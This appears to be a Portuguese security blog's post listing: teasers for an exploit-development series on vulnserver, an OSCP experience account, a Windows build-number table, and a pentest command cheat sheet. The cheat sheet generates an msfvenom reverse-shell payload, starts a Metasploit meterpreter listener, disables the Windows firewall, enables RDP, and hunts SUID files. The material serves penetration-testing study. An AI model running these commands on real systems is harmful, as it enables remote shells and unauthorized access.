Criação de Exploits – Parte 4 – Estudo de caso: vulnserver KSTET com reaproveitamento da função WS2_32 Recv

Ola pessoal,

Neste post vamos dar continuidade a nossa análise de caso do Vulnserver KSTET. Como característica este servidor é vulnerável a stack buffer overflow mas com um buffer extremamente pequeno, 66 bytes. Sendo assim no post anterior (Criação de Exploits – Parte 3 – Estudo de caso: vulnserver KSTET com egghunter ) fizemos a exploração deste mesmo server com egghunter e neste iremos explorar a reutilização da função WS2_32.recv para reler do nosso socket o shellcode e executa-lo.

Antes de dar continuidade eu gostaria de dar os créditos ao autor que me inspirou a criar este post Kevin Kirsche, segue abaixo o link do post original:

https://deceiveyour.team/2018/10/15/vulnserver-kstet-ws2_32-recv-function-re-use/

Leia mais

Criação de Exploits – Parte 3 – Estudo de caso: vulnserver KSTET com egghunter

Ola pessoal,

Neste post vamos dar inicio a nossa análise de caso do Vulnserver KSTET. Como característica este servidor é vulnerável a stack buffer overflow mas com um buffer extremamente pequeno, 66 bytes. Sendo assim neste post abordaremos a utilização da técnica de egghunter, que basicamente consiste em encontrar e executar nosso shellcode (egg) em outra área de memória.

Leia mais

Criação de Exploits – Parte 2 – Removendo bad chars usando Immunity Debugger e Mona

Este post faz parte da série de criação de exploits, este é o terceiro post dessa série, caso não tenha visto de uma olhada primeiramente na Parte 0 – Um pouco de teoria

Como ninguém é uma ilha e nós só conseguimos crescer com amigos e familiares, este posto não será uma escrita do zero, mas sim a indicação do post de um amigo que muito bem abordou o assunto de conhecer e remover os badchars no momento da criação de um exploit.

Segue o link completo: https://w1zard.com/sec0/removendo-bad-chars-usando-immunity-debugger-e-mona/

 

Criação de Exploits – Parte 0 – Um pouco de teoria

Neste post irei inaugurar uma nova seção do site onde postarei uma série de tutoriais de como realizar a criação de exploits, a maioria deles, utilizando Buffer Overflow.

Caso você deseje segue o link para a lista completa de posts sobre a criação de exploits e buffer overflow: https://www.helviojunior.com.br/category/it/security/criacao-de-exploits/

Mas antes de começar a colocar a mão na massa, como sempre, precisamos de um pouco de teoria para embasar e entender todo o contexto, e como quando falamos de Buffer Overflow, falamos de memória, pilha, push pop, assembly e etc… nada é tão simples e tão trivial, então se posso dar uma recomendação é: leia e releia toda a teoria, busque outros sites, outros livros, outras referencias para complementar o seu conhecimento, pois isso será base para o sucesso ou falha no momento da criação dos seus exploits.

Segue a referência de um site onde tem bastante conteúdo sobre este assunto: https://www.corelan.be

Leia mais

Minha experiência no OSCP

No dia 16/09/2018 recebi o tão esperado e-mail “Você foi aprovado no OSCP”, então, como isso tudo começou? como foi o processo de estudo? estou começando em security posso fazer OSCP? Como foi fazer a prova com proctoring? Estas e outras perguntas pretendo responder neste artigo.

 

Antes de começar, quem sou eu e qual o meu background?

No momento da escrita deste artigo, tenho mais de 20 anos de experiência com Tecnologia da Informação, passando por diversas áreas, desenvolvimento, desenvolvimento mobile, redes, infraestrutura, gestão de identidades e acessos, VoIP com asterisk e etc… Durante toda minha carreira sempre fui muito curioso e gostei de ir a fundo nas coisas que estava estudando, sempre me perguntando como isso funciona? E nunca me limitando ao “está funcionando é o que importa”, sempre quis saber como as coisas funcionavam desde pequeno, nunca tive um brinquedo sequer que eu não o tenha desmontado para ver o sistema interno.

O que é OSCP?

Antes de responder essa pergunta é necessário responder outra pergunta, quem é a autoridade certificadora que assina o OSCP? OSCP é o Acrônimo de Offensive Security Certified Professional, desta forma, quem assina o OSCP é a Offensive Security é nada mais nada menos quem criou e mantém o Kali Linux (sucessor do Backtrack) e também oferece cursos na área de segurança ofensiva (Pentest). Desta forma a OSCP é a certificação focada em testes de invasão oferecida pela Offsec.

Leia mais

Identificando Versão do Windows através de arquivos

Um dos desafios em um pentest é identificar a versão exata de um windows, então segue aqui algumas dicas de como faze-lo usando arquivos nativos do Sistema operacional.

Este procedimento é dividido em 2 passos:

  1. Buscar o build number, ou seja, o número de compilação
  2. Traduzir este número em algo que possamos entender

 

Buscando o Build Number

Arquivo c:\windows\system32\prodspec.ini, pode-se observar que a versão é a 5.1.2600.0

;
;Attention : VOUS NE DEVEZ PAS MODIFIER NI SUPPRIMER CE FICHIER.
;
[SMS Inventory Identification]
Version=1.0

[Product Specification]
Product=Windows XP Professionnel

Version=5.0
Localization=Français
ServicePackNumber=0
BitVersion=40 
[Version]
DriverVer=07/01/2001,5.1.2600.0

Arquivo c:\boot.ini, este arquivo detém um não tão exato com a versão do windows

;[boot loader]
timeout=1
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS
[operating systems]
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Windows Server 2003, Standard" /fastdetect /NoExecute=OptIn

Arquivo c:\windows\explorer.exe, é um executável então temos que usar uma ferramenta do linux chamada exiftool para buscar as informações do mesmo

exiftool /tmp/explorer.exe | grep -i "produ"

Esse comando retornará algo parecido com o texto abaixo

Product Version Number          : 6.0.3790.1830
Product Name                    : Microsoft® Windows® Operating System
Product Version                 : 6.00.3790.1830

 

Traduzindo o Build Number em informação do qual é o Sistema Operacional

Agora de posse da informação tão desejada basta traduzir para a versão do windows com a tabela abaixo (retirada de https://www.gaijin.at/en/lstwinver.php)

Sistema Operacional Versão / Build / Data
Windows 95 OEM Service Release 1 (95A) 4.00.950 A *)
Windows 95 OEM Service Release 2 (95B) 4.00.1111 B *)
Windows 95 OEM Service Release 2.1 4.03.1212-1214 B *)
Windows 95 OEM Service Release 2.5 C 4.03.1214 C *)
Windows 98 4.10.1998
Windows 98 Second Edition (SE) 4.10.2222 A
Windows Millenium Beta 4.90.2476
Windows Millenium 4.90.3000
Windows NT 3.1 3.10.528 (27.07.1993)
Windows NT 3.5 3.50.807 (21.09.1994)
Windows NT 3.51 3.51.1057 (30.05.1995)
Windows NT 4.00 4.00.1381 (24.08.1996)
Windows NT 5.00 (Beta 2) 5.00.1515
Windows 2000 (Beta 3) 5.00.2031
Windows 2000 (Beta 3 RC2) 5.00.2128
Windows 2000 (Beta 3) 5.00.2183
Windows 2000 5.00.2195 (17.02.2000)
Whistler Server Preview 2250
Whistler Server alpha 2257
Whistler Server interim release 2267
Whistler Server interim release 2410
Windows XP (RC 1) 5.1.2505
Windows XP 5.1.2600 (25.10.2001)
Windows XP, Service Pack 1 5.1.2600.1105-1106
Windows XP, Service Pack 2 5.1.2600.2180
Windows XP, Service Pack 3 5.1.2600 (21.04.2008)
Windows .NET Server interim 5.2.3541
Windows .NET Server Beta 3 5.2.3590
Windows .NET Server Release Candidate 1 (RC1) 5.2.3660
Windows .NET Server 2003 RC2 5.2.3718
Windows Server 2003 (Beta?) 5.2.3763
Windows Server 2003 5.2.3790 (24.04.2003)
Windows Server 2003, Service Pack 1 5.2.3790.1180
Windows Server 2003 5.2.3790.1218
Windows Home Server 5.2.3790 (16.06.2007)
Windows Longhorn 6.0.5048
Windows Vista, Beta 1 6.0.5112 (20.07.2005)
Windows Vista, Community Technology Preview (CTP) 6.0.5219 (30.08.2005)
Windows Vista, TAP Preview 6.0.5259 (17.11.2005)
Windows Vista, CTP (Dezember) 6.0.5270 (14.12.2005)
Windows Vista, CTP (Februar) 6.0.5308 (17.02.2006)
Windows Vista, CTP (Refresh) 6.0.5342 (21.03.2006)
Windows Vista, April EWD 6.0.5365 (19.04.2006)
Windows Vista, Beta 2 Previw 6.0.5381 (01.05.2006)
Windows Vista, Beta 2 6.0.5384 (18.05.2006)
Windows Vista, Pre-RC1 6.0.5456 (20.06.2006)
Windows Vista, Pre-RC1, Build 5472 6.0.5472 (13.07.2006)
Windows Vista, Pre-RC1, Build 5536 6.0.5536 (21.08.2006)
Windows Vista, RC1 6.0.5600.16384 (29.08.2006)
Windows Vista, Pre-RC2 6.0.5700 (10.08.2006)
Windows Vista, Pre-RC2, Build 5728 6.0.5728 (17.09.2006)
Windows Vista, RC2 6.0.5744.16384 (03.10.2006)
Windows Vista, Pre-RTM, Build 5808 6.0.5808 (12.10.2006)
Windows Vista, Pre-RTM, Build 5824 6.0.5824 (17.10.2006)
Windows Vista, Pre-RTM, Build 5840 6.0.5840 (18.10.2006)
Windows Vista, RTM (Release to Manufacturing) 6.0.6000.16386 (01.11.2006)
Windows Vista 6.0.6000 (08.11.2006)
Windows Vista, Service Pack 2 6.0.6002 (04.02.2008)
Windows Server 2008 6.0.6001 (27.02.2008)
Windows 7, RTM (Release to Manufacturing) 6.1.7600.16385 (22.10.2009)
Windows 7 6.1.7600 (22.10.2009)
Windows 7, Service Pack 1 6.1.7601
Windows Server 2008 R2, RTM (Release to Manufacturing) 6.1.7600.16385 (22.10.2009)
Windows Server 2008 R2, SP1 6.1.7601
Windows Home Server 2011 6.1.8400 (05.04.2011)
Windows Server 2012 6.2.9200 (04.09.2012)
Windows 8 6.2.9200 (26.10.2012)
Windows Phone 8 6.2.10211 (29.10.2012)
Windows Server 2012 R2 6.3.9200 (18.10.2013)
Windows 8.1 6.3.9200 (17.10.2013)
Windows 8.1, Update 1 6.3.9600 (08.04.2014)
Windows 10 10.0.10240 (29.07.2015)
Windows 10 (1511) 10.0.10586
Windows 10 (1607) 10.0.14393
Windows Server 2016, RTM (Release to Manufacturing) 10.0.14393 (26.09.2016)

*) O Build Number nem sempre é exibido exatamente como está na tabela

Invertendo teclas F1, F2, etc…

Em alguns notebooks Dell as teclas F1, F2, etc… cem invertidas, ou seja, quando você pressiona F1 ao invés de executar a Função de F1, ele executa a função multimídia (em meu caso Mute).

Em computadores mais antigos a solução deste problema é ajustes na BIOS ou até em Mobility Center do windows.

No meu computador, em jun-2018, a solução deste problema é Pressionar as teclas (Fn) + (Esc Fn).

Useful commands (Linux, Windows, CTF, Exploit, etc…)

General

Search commands

Look for an text inside of file data

find / -type f -exec grep -Hn 'content_to_be_found' {} \;

Looking for writable files

find / -perm -2 ! -type l ! -path "/proc*" ! -path "/sys*" -ls 2>/dev/null

 

Buffer Overflow

Looking for and possible vulnerable code

find . -type f -exec grep -Hn 'strcpy' {} \; 
or
find . -type f -exec grep -Hn 'strcpy' {} \; | awk -F'[:(,)]' '{print $1 ":" $2 " ==> " $4 "|" $5 "|" $6}'

Bad Characters

badchars = ("\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")

Generating Payload

Generating an payload to be used at python script avoiding some bad characters

msfvenom -p windows/shell_reverse_tcp LHOST=<server_ip> LPORT=<server_port> -b '\x00\x0a\x0d' -f python

Decoding/printting an HEX Code

echo "41424344" | xxd -r -p
or 
cat hexfile.txt | sed 's/0x//g' | sed 's/,//g' | tr -d '\n' | xxd -r -p

Listting all msfvenom payloads candidates and his Size

for p in `msfvenom --list payloads | grep windows | awk '{print $1}'` ; do echo $p; msfvenom -p $p --list-options 2>&1 | grep -i "total size"; echo; done

Generating 100 files with random content betwwen 1 and 10 MB

for i in {1..100} ; do SIZE=$(( ( RANDOM % 10 )  + 1 )); FILENAME=$(cat /dev/urandom | tr -cd 'a-f0-9' | head -c 32); echo "[$i - 100] Generating $SIZE file..."; dd if=/dev/urandom of=sample_$FILENAME.txt bs=1M count=$SIZE; done

Getting only binary opcode

objdump -d mcat |grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' | sed 's/ /\\x/g' 

 

Windows

Disabling Windows firewall

netsh firewall opmode disable
netsh advfirewall set allprofiles state off

Enabling Remote Desktop Service

reg add "hklm\system\currentcontrolset\control\terminal server" /f /v fDenyTSConnections /t REG_DWORD /d 0

 

Linux

Rdesktop with disk sharing

rdesktop  -u user -p password server:port -r disk:test=/tmp/ -g 85% -x m

Starting Metasploit Listener

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 0.0.0.0
set LPORT 4444
set ExitOnSession false
exploit -j -z

Finding all root SUID files

find / -perm +4000 -uid 0 2>/dev/null